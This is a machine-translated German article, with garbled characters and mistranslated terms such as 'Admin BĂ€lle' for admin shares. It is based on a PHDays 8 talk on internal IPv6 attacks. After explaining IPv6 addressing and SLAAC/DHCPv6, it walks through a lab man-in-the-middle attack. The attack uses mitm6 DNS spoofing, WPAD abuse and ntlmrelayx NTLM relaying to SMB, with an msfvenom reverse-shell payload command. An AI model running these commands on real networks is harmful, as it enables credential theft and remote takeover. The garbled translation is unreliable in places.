IPv6 ist eine neue Version des Internetprotokolls. IETF-Mitglieder haben es erst vor 22 Jahren, 1996, akzeptiert. WÀhrend dieser Zeit konnten bestimmte IPv6-Angriffe auftreten. Der Zweck dieses Artikels, der auf unserer PrÀsentation an
PHDays 8 basiert
, besteht darin, die Möglichkeiten eines Angriffs eines internen Eindringlings auf Unternehmensnetzwerke mithilfe von IPv4 und IPv6
aufzuzeigen .

Grundlagen der IPv6-Adressierung
Die LĂ€nge der IPv6-Adresse betrĂ€gt 128 Bit, die im Hexadezimalformat geschrieben werden, wobei die gesamte Adresse in 8 Gruppen unterteilt wird. Ein Beispiel fĂŒr das Schreiben einer IPv6-Adresse:
2001: 0a00: cafe: babe: 0001: 0000: 0000: 0011/64
Es gibt einen vereinfachten Adressdatensatz, wenn mehrere nachfolgende Nullengruppen durch "::" ersetzt werden können, jedoch nur einmal. In jeder Gruppe links geschriebene Nullen können verworfen werden. Die obige Adresse kann also wie folgt geschrieben werden:
2001: a00: cafe: babe: 1 :: 11/64
Die StandardgröĂe des vom Anbieter an den Client ausgegebenen Host-Teils betrĂ€gt 64 Bit, von denen 4 zum Segmentieren des Netzwerks in Subnetze verwendet werden.

In IPv6 gibt es verschiedene Arten von Adressen:
Globales Unicast ist ein Analogon zu öffentlichen Adressen in IPv4. Diese Adressen werden von
IANA vergeben und sind im gesamten Internet eindeutig. Diese Adressen liegen im Bereich 2000 :: / 3 (2000 - 3FFF).
Lokale Adressen (Link-local) - Adressen im Bereich FE80 :: / 10 (FE80 - FEBF) werden automatisch von GerĂ€ten generiert und zur Interaktion mit anderen GerĂ€ten im selben lokalen Netzwerk verwendet. Datenverkehr, der diese Adresse als Absender oder EmpfĂ€nger enthĂ€lt, sollte nicht weitergeleitet werden. Somit kann ein GerĂ€t, das IPv6 unterstĂŒtzt und mit dem Netzwerk verbunden ist, ohne Konfiguration sofort Informationen innerhalb seines Subnetzes austauschen.
Loopback-Adresse :: 1 . Diese Adresse Àhnelt 127.0.0.1 in IPv4. An ihn gesendete Pakete verlassen das GerÀt nicht.
Nicht spezifizierte Adresse - die Adresse "::", die nur aus Nullen besteht. Es wird in einigen FĂ€llen als Absender verwendet, bis die Adresse empfangen wird.
Eindeutige lokale Adressen (Unique local) - ein Analogon zu privaten Adressen in IPv4, das innerhalb des internen Netzwerks des Unternehmens weitergeleitet werden kann, ohne dass eine Weiterleitung an das Internet möglich ist. Der IPv6-Adressraum ist so groĂ, dass mehr als eine Billion Adressen an jede Person auf dem Planeten vergeben werden können und diese nicht enden werden. Daher impliziert IPv6 die Aufgabe privater Adressen in dem Sinne, in dem sie in IPv4 verwendet wurden, weil öffentliche Adressen fehlen.
IPv4-Adressen, die IPv6 zugeordnet sind (IPv4 eingebettet) - IPv6-Adressen, die mit :: ffff beginnen: Die letzten 32 Bits enthalten eine IPv4-Adresse (:: ffff: xxxx: xxxx, wobei xxxx: xxxx die in hexadezimal konvertierte IPv4-Adresse ist). Diese Adressen werden fĂŒr GerĂ€te verwendet, die IPv6 nicht unterstĂŒtzen, und bieten eine Möglichkeit, einen IPv4-Adressraum einem IPv6-Adressraum zuzuordnen.
Multicast-Adressen (Multicast) - eine der wichtigsten Ănderungen in IPv6 im Vergleich zu IPv4. Das neue Protokoll lehnte Broadcast-Pakete ab, anstelle der Broadcast-Adresse werden Multicast-Adressen verwendet. Alle diese Adressen liegen im Bereich FF00 :: / 8

IPv6-Adresszuweisung
IPv6 verwendet das ICMPv6 Neighbor Discovery Protocol (ND), um Adressinformationen abzurufen. Wie in der folgenden Abbildung gezeigt, sendet das GerĂ€t beim Anzeigen eines neuen GerĂ€ts im IPv6-Netzwerk eine Anforderung zum Abrufen einer IPv6-Adresse (Router Solicitation) an âff02 :: 2â (alle Netzwerkrouter). Der Router antwortet mit einer Nachricht (Router Advertisement), die Informationen zum Abrufen der IPv6-Adresse enthĂ€lt. AbhĂ€ngig von den in der Nachricht gesetzten Flags gibt es drei Möglichkeiten:
Der Weg, um die Adresse zu bekommen | Eine (Auto) Flagge | O (Andere) Flagge | M-Flagge (verwaltet) |
---|
SLAAC (Standard) | 1 | 0 | 0 |
SLAAC + DHCPv6 | 1 | 1 | 0 |
DHCPv6 | 0 | - - | 1 |
SLAAC (Stateless Address Autoconfiguration) - In diesem Fall befindet sich alles, was zum Generieren einer globalen IPv6-Adresse erforderlich ist, in der RA-Nachricht.
SLAAC + DHCPv6 - Wie im Fall von SLAAC wird die Adresse basierend auf den Informationen im RA-Paket generiert, aber das O-Flag wird zusÀtzlich gesetzt, was bedeutet, dass eine andere Konfiguration vorliegt, und das GerÀt muss den DHCPv6-Server kontaktieren, um zusÀtzliche Einstellungen zu erhalten, z. B. den DNS-Server.
DHCPv6 ist ein Analogon zur DHCPv4-Adresse, und alle anderen Informationen werden vom DHCP-Server ausgegeben, mit Ausnahme des Standard-Gateways, das der Absenderadresse des RA-Pakets entnommen wird.
Wenn O- und M-Flags gleichzeitig gesetzt werden, wird das O-Flag ignoriert.

Nehmen Sie als Beispiel das Dienstprogramm fake_router26 aus der
Dienstprogramm-Suite thc-ipv6 . Das Bild zeigt, dass nach dem Start die IPv6-Adresse des Standard-Gateways hinzugefĂŒgt wurde, die Vorrang vor IPv4 hatte.

Angriff!
In diesem Szenario wird die Möglichkeit eines Man-in-the-Middle-Angriffs unter Verwendung des Mechanismus zum Abrufen von IPv6-Netzwerkeinstellungen in Betracht gezogen.
Zur Demonstration benötigen wir 4 Autos:
Der Angreifer ist Kali Linux.
Der Server, auf dem die Windows 7-AdministratorbÀlle eingeschaltet werden.
Ein Clientcomputer , der Zugriff auf einen Windows 7-Server hat.

Ein Router mit aktiviertem DHCPv4.
dirkjanm beschrieb die
Methodik fĂŒr dieses Szenario. Er schrieb das Dienstprogramm mitm6, das mithilfe des ND-Protokolls Router Advertisment-Nachrichten mit den Flags âOâ und âMâ auf â1â sendet. Daher wissen Clients, dass Adressinformationen von einem DHCPv6-Server angefordert werden mĂŒssen. Clients senden DHCPv6-SOLICIT-Nachrichten, um den DHCP-Server zu ermitteln. Das Dienstprogramm antwortet auf Anforderungen mit DHCPv6 ADVERTISE-Nachrichten. Die Antwort enthĂ€lt die Adresse des angreifenden Computers als DNS-Server.

Danach wird DHCPv6-DNS aufgrund der Architekturmerkmale des Betriebssystems zu einer PrioritÀt. Jetzt kann der Angreifer auf alle DNS-Anfragen mit der richtigen Adresse antworten. Daher wird die vom Domainnamen gesendete Anfrage nach Ermessen des Angreifers gesendet.
Durch AusfĂŒhren von mitm6 können Sie die DomĂ€ne angeben, fĂŒr die DNS-Adressen ersetzt werden sollen.


Admin BĂ€lle
Angenommen, es gibt einen anderen Computer im Netzwerk, auf dem der Benutzer des ersten Computers eine Verbindung zu VerwaltungsbĂ€llen herstellen darf, um den dramatischen Effekt zu verstĂ€rken. StandardmĂ€Ăig sind sie deaktiviert, aber im Internet sind viele Leute daran interessiert, wie sie aktiviert werden sollen, und sie sind sehr glĂŒcklich, wenn sie es bekommen.

WPAD (Web Proxy Auto Discovery) ist ein Protokoll zum Bestimmen des Speicherorts der Datei, in der sich die Standard-Proxy-Einstellungen befinden.
Nach dem Update von
MS16-077 wird wpad nicht mehr ĂŒber NETBIOS bereitgestellt und auf dem Proxyserver nicht automatisch authentifiziert.
Um diese EinschrÀnkungen zu umgehen, können Sie ntlmrelayx.py verwenden, das Teil von
impacket ist . Es ist eine Version höher als 0.9.16 erforderlich, die IPv6-UnterstĂŒtzung und die Möglichkeit umfasst, einen Server zu installieren, der gĂŒltiges wpad rendert. Der Start erfolgt durch das Team
ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe
Dabei ist 1.exe die vom Metasplit erzeugte Reverse-Shell-Nutzlast.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe
Der Parameter -wh gibt den Host an, auf dem sich die wpad-Datei befindet (das Dienstprogramm mitm6 antwortet mit der Adresse des Angreifers auf diese Anforderung).


Nach dem Herstellen der Verbindung wird die HTTP 407-Authentifizierung (Proxy-Authentifizierung erforderlich) angefordert, bei der der Browser automatisch authentifiziert wird.


Die empfangenen Daten werden verwendet, um eine Verbindung zum smb des angegriffenen Servers herzustellen, der ĂŒber den Parameter -t ĂŒbergeben wird.

Ich danke meinem Co-Autor Sergey Ovchinnikov
malchikserega fĂŒr die Hilfe bei der Vorbereitung der PrĂ€sentation und des Artikels.